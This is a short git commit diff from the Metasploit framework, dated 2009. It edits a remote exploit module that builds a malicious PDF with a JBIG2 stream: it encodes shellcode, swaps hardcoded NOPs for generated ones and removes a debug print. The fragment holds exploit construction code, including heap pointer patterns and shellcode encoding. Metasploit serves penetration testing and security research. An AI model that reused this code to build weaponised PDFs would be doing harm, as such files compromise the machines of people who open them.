Remove debug messages, fix nops.

git-svn-id: file:///home/svn/framework3/trunk@6398 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
natron
2009-03-27 02:34:40 +00:00
parent 989a0bf88f
commit bee2e44254
@@ -63,8 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
#nops = Rex::Text.to_unescape(make_nops(4))
nops = "%u9090%u9090"
nops = Rex::Text.to_unescape(make_nops(4))
pointerPattern1 = Rex::Text.to_unescape("\x00\x00\x00\x00\x90\x8a\x01\x07")
pointerPattern2 = Rex::Text.to_unescape("\x90\x8a\x01\x07\x00\x00\x00\x00")
@@ -135,7 +134,6 @@ class Metasploit3 < Msf::Exploit::Remote
jbig2stream = Array.new
(0..1).each { |i|
jbig2stream[i] = eaxptr + "\x40\x00" + modifier[i] + eaxp20ptr
#print_status "jbig2stream[#{i}]: #{jbig2stream[i]}"
}
# Create the pdf